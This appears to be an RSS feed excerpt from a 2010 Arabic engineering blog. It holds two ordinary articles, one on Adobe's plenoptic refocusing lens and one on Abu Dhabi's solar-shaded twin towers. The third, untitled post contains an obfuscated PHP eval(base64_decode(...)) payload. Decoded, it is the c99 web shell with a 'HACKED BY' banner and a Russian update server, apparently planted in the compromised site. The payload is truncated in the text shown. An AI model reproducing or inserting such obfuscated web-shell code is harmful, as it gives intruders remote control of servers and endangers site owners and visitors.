			<content:encoded><![CDATA[<p style="text-align: right;">اذا شاهدتم مرة مسلسل جاسوسية أو مسلسلاً حول دائرة تحقيق جنائي مثل مسلسل Alias ومسلسل CSI بالتوافق, فأنتم تعرفون بالتأكيد تلك المقاطع الي يقوم بها مختص في مجال الحاسوب باستعمال برامج متقدمة والغير موجودة في الحقيقة من أجل إخراج تفاصيل دقيقة من صور عادية مثل ظلال وانعكاسات والتي حقيقة وفي العالم الحقيقي لن تستطيعوا ابداً التركيز عليها بعد التصوير.</p>
<p style="text-align: right;">إدوبي (Adobe) الشركة التي استطاعت خلق ثورة في عالم معالجة الصور مع برنامجها المشهور Photoshop, عرضت الاسبوع الماضي في مؤتمر المعالجات الغرافية الخاص بشركة nVidia (nVidia GPU Technology Conference) تكنولوجيا جديدة والتي تمكّن من تصوير صور بتركيز بؤرة غير محدود. التكنولوجيا تعتمد على عدسة خاصة والتي يتم تنصيبها بين مجس (مستشعر) الصور وبين العدسة الرئيسية في الكاميرا, وتم تسميتها &#8220;عدسة بلينأوبتية&#8221; (Plenoptic Lens) – هذه العدسة مكونة بالفعل من عديدة من العدسات الصغيرة والتي تستقبل الصورة نفسها من عدة زوايا بالوقت ذاته, وبهذه الطريقة يتم الحصول على صورة واحدة والتي بالأساس هي مكونة من كمية كبيرة من الصور الصغيرة, مثلما يمكننا ان نرى في الفيديو أدناه. بعد ذلك, برنامج معقد في الحاسوب باستطاعته تحليل الصور الصغيرة وإنتاج صورة &#8220;عادية&#8221;, بالإضافة, بالامكان التركيز بأقسام مختلفة للصور عن طريق تحريك &#8220;سلايدر&#8221; (علامة يمكن تحريكها على محور من أجل تحديد قيمة متغير معين). التكنولوجيا تمكن أيضاً من انتاج صور ثلاثية الابعاد من دون كاميرا ذات عدستين.</p>
<p style="text-align: right;">
<object width="425" height="344">
<param name="allowfullscreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="movie" value="http://www.youtube.com/v/jS7usnHmNZ0&autoplay=0&loop=0&rel=0" />
<param name="wmode" value="transparent">
<embed src="http://www.youtube.com/v/jS7usnHmNZ0&autoplay=0&loop=0&rel=0" type="application/x-shockwave-flash" wmode="transparent" allowfullscreen="true" allowscriptaccess="always" width="425" height="344">
</embed>
</object>

</p>
<p style="text-align: right;">إدوبي شرحت أنه سوف ستحتاج مزيداً من الوقت من أجل أن تصل هذه التكنولوجيا إلى السوق, لكن حقيقة عرضها لهذه التكنولوجيا تضع نصب أعيننا رؤية ممتعة إلى مستقبل التصوير.</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2640&amp;linkname=%D8%A5%D8%AF%D9%88%D8%A8%D9%8A%20%D8%B9%D8%B1%D8%B6%D8%AA%20%D8%AA%D9%83%D9%86%D9%88%D9%84%D9%88%D8%AC%D9%8A%D8%A7%20%D8%AA%D8%B5%D9%88%D9%8A%D8%B1%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%88%D8%A7%D9%84%D8%AA%D9%8A%20%D8%AA%D9%85%D9%83%D9%91%D9%86%20%D9%85%D9%86%20%D8%AA%D8%BA%D9%8A%D9%8A%D8%B1%20%D9%85%D8%B1%D9%83%D8%B2%20%D8%A7%D9%84%D8%A8%D8%A4%D8%B1%D8%A9%20%28Focus%29%20%D9%81%D9%8A%20%D8%A7%D9%84%D8%B5%D9%88%D8%B1%20%D8%A8%D8%B9%D8%AF%20%D8%A7%D9%84%D8%AA%D8%B5%D9%88%D9%8A%D8%B1" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2640&amp;linkname=%D8%A5%D8%AF%D9%88%D8%A8%D9%8A%20%D8%B9%D8%B1%D8%B6%D8%AA%20%D8%AA%D9%83%D9%86%D9%88%D9%84%D9%88%D8%AC%D9%8A%D8%A7%20%D8%AA%D8%B5%D9%88%D9%8A%D8%B1%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%88%D8%A7%D9%84%D8%AA%D9%8A%20%D8%AA%D9%85%D9%83%D9%91%D9%86%20%D9%85%D9%86%20%D8%AA%D8%BA%D9%8A%D9%8A%D8%B1%20%D9%85%D8%B1%D9%83%D8%B2%20%D8%A7%D9%84%D8%A8%D8%A4%D8%B1%D8%A9%20%28Focus%29%20%D9%81%D9%8A%20%D8%A7%D9%84%D8%B5%D9%88%D8%B1%20%D8%A8%D8%B9%D8%AF%20%D8%A7%D9%84%D8%AA%D8%B5%D9%88%D9%8A%D8%B1" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2640&amp;linkname=%D8%A5%D8%AF%D9%88%D8%A8%D9%8A%20%D8%B9%D8%B1%D8%B6%D8%AA%20%D8%AA%D9%83%D9%86%D9%88%D9%84%D9%88%D8%AC%D9%8A%D8%A7%20%D8%AA%D8%B5%D9%88%D9%8A%D8%B1%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%88%D8%A7%D9%84%D8%AA%D9%8A%20%D8%AA%D9%85%D9%83%D9%91%D9%86%20%D9%85%D9%86%20%D8%AA%D8%BA%D9%8A%D9%8A%D8%B1%20%D9%85%D8%B1%D9%83%D8%B2%20%D8%A7%D9%84%D8%A8%D8%A4%D8%B1%D8%A9%20%28Focus%29%20%D9%81%D9%8A%20%D8%A7%D9%84%D8%B5%D9%88%D8%B1%20%D8%A8%D8%B9%D8%AF%20%D8%A7%D9%84%D8%AA%D8%B5%D9%88%D9%8A%D8%B1" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2640&amp;linkname=%D8%A5%D8%AF%D9%88%D8%A8%D9%8A%20%D8%B9%D8%B1%D8%B6%D8%AA%20%D8%AA%D9%83%D9%86%D9%88%D9%84%D9%88%D8%AC%D9%8A%D8%A7%20%D8%AA%D8%B5%D9%88%D9%8A%D8%B1%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%88%D8%A7%D9%84%D8%AA%D9%8A%20%D8%AA%D9%85%D9%83%D9%91%D9%86%20%D9%85%D9%86%20%D8%AA%D8%BA%D9%8A%D9%8A%D8%B1%20%D9%85%D8%B1%D9%83%D8%B2%20%D8%A7%D9%84%D8%A8%D8%A4%D8%B1%D8%A9%20%28Focus%29%20%D9%81%D9%8A%20%D8%A7%D9%84%D8%B5%D9%88%D8%B1%20%D8%A8%D8%B9%D8%AF%20%D8%A7%D9%84%D8%AA%D8%B5%D9%88%D9%8A%D8%B1" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2640&amp;linkname=%D8%A5%D8%AF%D9%88%D8%A8%D9%8A%20%D8%B9%D8%B1%D8%B6%D8%AA%20%D8%AA%D9%83%D9%86%D9%88%D9%84%D9%88%D8%AC%D9%8A%D8%A7%20%D8%AA%D8%B5%D9%88%D9%8A%D8%B1%20%D8%AC%D8%AF%D9%8A%D8%AF%D8%A9%20%D9%88%D8%A7%D9%84%D8%AA%D9%8A%20%D8%AA%D9%85%D9%83%D9%91%D9%86%20%D9%85%D9%86%20%D8%AA%D8%BA%D9%8A%D9%8A%D8%B1%20%D9%85%D8%B1%D9%83%D8%B2%20%D8%A7%D9%84%D8%A8%D8%A4%D8%B1%D8%A9%20%28Focus%29%20%D9%81%D9%8A%20%D8%A7%D9%84%D8%B5%D9%88%D8%B1%20%D8%A8%D8%B9%D8%AF%20%D8%A7%D9%84%D8%AA%D8%B5%D9%88%D9%8A%D8%B1" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2640/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>أبراج بلورية تعمل بالطاقة الشمسية في أبوظبي</title>
		<link>http://www.handsah.net/archives/2561</link>
		<comments>http://www.handsah.net/archives/2561#comments</comments>
		<pubDate>Thu, 23 Sep 2010 09:51:45 +0000</pubDate>
		<dc:creator>Hamza AbuGazaleh</dc:creator>
				<category><![CDATA[البيئة]]></category>
		<category><![CDATA[الطاقة الخضراء]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2561</guid>
		<description><![CDATA[انضمت اكبر شركات الهندسة المعمارية في العالم لتصميم ابراج المقر الرئيسي  لمجلس أبو ظبي للاستثمار [...]]]></description>
			<content:encoded><![CDATA[<p style="direction: rtl;">انضمت اكبر شركات الهندسة المعمارية في العالم لتصميم ابراج المقر الرئيسي  لمجلس أبو ظبي للاستثمار ، المقر هو عبارة عن برجين توأمين مزودين ببلور – كريستال – على شكل خلية النحل وظيفة هذا البلور هي حماية المباني من أشعة الشمس ، يقع مقر المجلس في المنطقة الشرقية من مدينة ابو ظبي  حيث سيتخلل الفراغ بين البرجين بحيرة مائية اضافة الى محمية من شجر النخيل . تتكون الطوابق الخمس و العشرين – 25 &#8211;  لناطحات السحاب هذه من ألف -1000 – منزل للموظفين اضافة الى حدائق مميزة على اسطح البنايات و نظم كهربائية ضوئية .</p>
<h5 style="text-align: center;"><span style="font-weight: normal; font-size: 13px;"><a href="http://www.handsah.net/wp-content/uploads/2010/09/3.jpeg"><img class="size-full wp-image-2597 aligncenter" title="3" src="http://www.handsah.net/wp-content/uploads/2010/09/3.jpeg" alt="" width="480" height="360" /></a><br />
</span></h5>
<h4 style="direction: rtl; text-align: center;"><span style="color: #ff0000;">&#8221;  تم انشاء هذا النمط اعتمادا على نموذج ترشيد رياضي  مستمد من التصاميم الاسلامية  &#8211; انه يشكل ديناميكية &#8216;مشربية&#8217;  &#8221;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-13.jpg" alt="" width="481" height="361" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; في واجهته الخارجية تم تغطية المبنى بقطع من البلور على شكل خلية النحل و ذلك للمساعدة على التحكم باكتساب حرارة الشمس &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-8.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; وسوف تشمل المشربية سلسلة من العناصر ، كل واحدة منها سوف تفتح وتغلق في استجابة لحركات الشمس ، لضمان الحصول على الطاقة الشمسية بالحد الأدنى في جميع الأوقات ، وكذلك الحد من الوهج. &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-14.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; وسيتم أيضا  اقامة حدائق علوية على اسطح  المبنى للمساعدة في خفض الحرارة الشمسية المكتسبة  وتوفير برودة الفضاء للموظفين. &#8220;</span></h4>
<p style="direction: rtl;">لقد أخذت الشركات في الاعتبار عند تصميم هذه المباني طابع العمارة الاسلامية التقليدية هذا بالضافة الى عنصر الاستدامة . في واجهته الخارجية تم تغطية المبنى بقطع من البلور على شكل خلية النحل و ذلك للمساعدة على التحكم باكتساب حرارة الشمس ، تم انشاء هذا النمط اعتمادا على نموذج ترشيد رياضي  مستمد من التصاميم الاسلامية  &#8211; انه يشكل دينامية &#8216;مشربية&#8217; &#8211; <span style="color: #ff0000;">المقصود بالمشربية ذلك الجزء البارز عن حوائط جدران المباني التي تطل على الفناء الأوسط للمنازل الإسلامية بغرض زيادة مساحة سطح الأدوار العليا</span> &#8211; تفتح وتغلق وفقا لمسار الشمس. و تشير  التقديرات إلى أن الواجهة  سوف تقلل  الحمل عن انظمة التبريد بنسبة 25 ٪.</p>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-4.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; أعلى كل برج يضم منطقة استقبال مزدوجة وارتفاع سقف مائل الى الجنوب مع انظمة شمسية مثبتة عليه. &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-5.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; تتكون الطوابق الخمس و العشرين – 25 &#8211;  لناطحات السحاب هذه من ألف -1000 – منزل للموظفين الذين يعملون لمجلس أبو ظبي للاستثمار. &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-6.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">وسيكون ارتفاع كل برج حوالي 140 مترا وتبلغ مساحته 32،000 متر مربع. ويشمل المشروع مساحات المكاتب والمقاهي والمطاعم ، وقاعة لمسافة المؤتمر.</span></h4>
<h5 style="text-align: center;"><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" style="direction: rtl;" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-12.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">وقال بيتر اوربون – احد المشرفين على التصميمات &#8211; &#8220;إن الميزة الأساسية لتصميم وتطبيق الواجهة الشفافة أن مغلفات &#8221; الجانب الأكثر تعرضا للشمس صممت  على شكل ديناميكية  المشربية ، التي تفتح و تغلق  ردا على مسار الشمس  ، و بذلك تعمل على تخفيض كبير في الحصول على حرارة الشمس وتوفير بيئة أكثر راحة للداخل &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-2.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; ويستند المباني البلوري ، وهيكل المقرنصات على نمط هندسي و الذي قد ينتج مسارات تحميل عالية الكفاءة ، وإيجاد حل لهيكلية مستقرة ومرنة واقتصادية. &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-10.jpg" alt="" width="437" height="328" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; سطح كل برج يحتوي على نظام للطاقة الشمسية من شأنها أن تولد ما لا يقل عن 5 ٪ من طلب المبنى   للطاقة &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-11.jpg" alt="" width="336" height="252" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; وسيتم فصل الابراج بالمياه وزراعة أشجار النخيل محلية</span><span style="color: #ff0000;"> &#8220;</span></h4>
<h5><span style="font-weight: normal; font-size: 13px;"><img class="aligncenter" src="http://inhabitat.com/wp-content/blogs.dir/1/files/2010/09/Abu-Dhabi-Investment-Council-Headquarters-Towers-1.jpg" alt="" width="403" height="302" /></span></h5>
<h4 style="text-align: center;"><span style="color: #ff0000;">&#8221; بني  المشروع على  تصور استخدام مبادئ العمارة الإسلامية ، والاستدامة ، والحفاظ البيئة. &#8220;</span></h4>
<p style="direction: rtl;">أعلى كل برج يضم منطقة استقبال مزدوجة وارتفاع سقف مائل الى الجنوب مع انظمة شمسية مثبتة عليه  . تم تجهيز كل الأسقف بنظم كهربائية ضوئية  تولد حوالي 5 ٪ من إجمالي حاجة المبنى من الطاقة ، كما يتميز كل برج بالحدائق العلوية على سطحه التي ستوفر للموظفين  مساح للراحة و الراحة البصرية  أثناء العمل للتغلب على الحرارة الشمسية العالية . المناظر الطبيعية حول الابراج سوف تشمل حيز واسع  من الاحواض المائية و أشجار النخيل المحلية . بقي أن نذكر أن تاريخ الانتهاء المتوقع  من بناء المشروع هو عام 2012 .</p>
<p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2561&amp;linkname=%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D8%A8%D9%84%D9%88%D8%B1%D9%8A%D8%A9%20%D8%AA%D8%B9%D9%85%D9%84%20%D8%A8%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D8%A9%20%D9%81%D9%8A%20%D8%A3%D8%A8%D9%88%D8%B8%D8%A8%D9%8A" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a> <a class="a2a_button_wordpress" href="http://www.addtoany.com/add_to/wordpress?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2561&amp;linkname=%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D8%A8%D9%84%D9%88%D8%B1%D9%8A%D8%A9%20%D8%AA%D8%B9%D9%85%D9%84%20%D8%A8%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D8%A9%20%D9%81%D9%8A%20%D8%A3%D8%A8%D9%88%D8%B8%D8%A8%D9%8A" title="WordPress" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/wordpress.png" width="16" height="16" alt="WordPress"/></a> <a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2561&amp;linkname=%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D8%A8%D9%84%D9%88%D8%B1%D9%8A%D8%A9%20%D8%AA%D8%B9%D9%85%D9%84%20%D8%A8%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D8%A9%20%D9%81%D9%8A%20%D8%A3%D8%A8%D9%88%D8%B8%D8%A8%D9%8A" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a> <a class="a2a_button_google_buzz" href="http://www.addtoany.com/add_to/google_buzz?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2561&amp;linkname=%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D8%A8%D9%84%D9%88%D8%B1%D9%8A%D8%A9%20%D8%AA%D8%B9%D9%85%D9%84%20%D8%A8%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D8%A9%20%D9%81%D9%8A%20%D8%A3%D8%A8%D9%88%D8%B8%D8%A8%D9%8A" title="Google Buzz" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/google_buzz.png" width="16" height="16" alt="Google Buzz"/></a> <a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.handsah.net%2Farchives%2F2561&amp;linkname=%D8%A3%D8%A8%D8%B1%D8%A7%D8%AC%20%D8%A8%D9%84%D9%88%D8%B1%D9%8A%D8%A9%20%D8%AA%D8%B9%D9%85%D9%84%20%D8%A8%D8%A7%D9%84%D8%B7%D8%A7%D9%82%D8%A9%20%D8%A7%D9%84%D8%B4%D9%85%D8%B3%D9%8A%D8%A9%20%D9%81%D9%8A%20%D8%A3%D8%A8%D9%88%D8%B8%D8%A8%D9%8A" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.handsah.net/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a> <a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save">شارك هذا المقال</a> </p>]]></content:encoded>
			<wfw:commentRss>http://www.handsah.net/archives/2561/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title></title>
		<link>http://www.handsah.net/archives/2519</link>
		<comments>http://www.handsah.net/archives/2519#comments</comments>
		<pubDate>Fri, 17 Sep 2010 15:48:09 +0000</pubDate>
		<dc:creator>جميل أغباريه</dc:creator>
				<category><![CDATA[الطاقة الخضراء]]></category>

		<guid isPermaLink="false">http://www.handsah.net/?p=2519</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><?php eval("?>&#8220;.base64_decode(&#8220;PD9waHANCi8vU3RhcnRpbmcgY2FsbHMNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319DQplcnJvcl9yZXBvcnRpbmcoNSk7DQpAaWdub3JlX3VzZXJfYWJvcnQoVFJVRSk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsNCmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7DQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lmIChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHtpZiAoc3RydG91cHBlcigkaykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30NCiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRfR0VULCRfUE9TVCk7DQpmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYpIHtpZiAoIWlzc2V0KCQkaykpIHskJGsgPSAkdjt9fQ0KDQokc2h2ZXIgPSAiUmUgQ29kZWQgQnkgVGVhbSBTUUwiOyAvL0N1cnJlbnQgdmVyc2lvbg0KLy9DT05GSUdVUkFUSU9OIEFORCBTRVRUSU5HUw0KaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImM5OXNoX3N1cmwiKTsgJHN1cmwgPSAiIjt9DQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKSB7JHN1cmwgPSAkc2V0X3N1cmw7IHNldGNvb2tpZSgiYzk5c2hfc3VybCIsJHN1cmwpO30NCmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl07IC8vU2V0IHRoaXMgY29va2llIGZvciBtYW51YWwgU1VSTA0KfQ0KDQokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gVFJVRTsgLy9JZiBUUlVFIHRoZW4gc2VhcmNoIHZhcmlhYmxlcyB3aXRoIGRlc2NyaXB0b3JzIChVUkxzKSBhbmQgc2F2ZSBpdCBpbiBTVVJMLg0KDQppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBhbmQgISRfUkVRVUVTVFsiYzk5c2hfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7fX0NCmlmIChlbXB0eSgkc3VybCkpDQp7DQogJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IC8vU2VsZiB1cmwNCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQgb2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVubGltaXRlZC4NCg0KLy9BdXRoZW50aWNhdGlvbg0KLy8kbG9naW4gPSAiIjsgLy9sb2dpbg0KLy9ET04nVCBGT1JHT1QgQUJPVVQgUEFTU1dPUkQhISENCi8vJHBhc3MgPSAiIjsgLy9wYXNzd29yZA0KLy8kbWQ1X3Bhc3MgPSAiIjsgLy9tZDUtY3J5cGVkIHBhc3MuIGlmIG51bGwsIG1kNSgkcGFzcykNCg0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAvL2FycmF5ICgie21hc2t9MSIsInttYXNrfTIiLC4uLiksIHttYXNrfSA9IElQIG9yIEhPU1QgZS5nLiBhcnJheSgiMTkyLjE2OC4wLioiLCIxMjcuMC4wLjEiKQ0KJGxvZ2luX3R4dCA9ICJIb29mTWFHb29mIEhhY2tlZCBXZWIgU2VydmVyIEFjY2VzcyI7IC8vaHR0cC1hdXRoIG1lc3NhZ2UuDQokYWNjZXNzZGVuaWVkbWVzcyA9ICI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbFwiPmM5OXNoZWxsIHYuIi4kc2h2ZXIuIjwvYT46IGFjY2VzcyBkZW5pZWQiOw0KDQokZ3ppcGVuY29kZSA9IFRSVUU7IC8vRW5jb2RlIHdpdGggZ3ppcD8NCg0KJHVwZGF0ZW5vdyA9IEZBTFNFOyAvL0lmIFRSVUUsIHVwZGF0ZSBub3cgKHRoaXMgdmFyaWFibGUgd2lsbCBiZSBGQUxTRSkNCg0KJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXINCiRjOTlzaF9zb3VyY2VzdXJsID0gImh0dHA6Ly9jY3RlYW0ucnUvZmlsZXMvYzk5c2hfc291cmNlcy8iOyAvL1NvdXJjZXMtc2VydmVyDQoNCiRmaWxlc3RlYWx0aCA9IFRSVUU7IC8vaWYgVFJVRSwgZG9uJ3QgY2hhbmdlIG1vZGlmeS0gYW5kIGFjY2Vzcy10aW1lDQoNCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5IQUNLRUQgQlkgTUFITU9VRCBTUUw8L2I+PC9jZW50ZXI+IjsNCi8qIElmIHlvdSBwdWJsaXNoIGZyZWUgc2hlbGwgYW5kIHlvdSB3aXNoDQphZGQgbGluayB0byB5b3VyIHNpdGUgb3IgYW55IG90aGVyIGluZm9ybWF0aW9uLA0KcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBmb2xkZXINCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9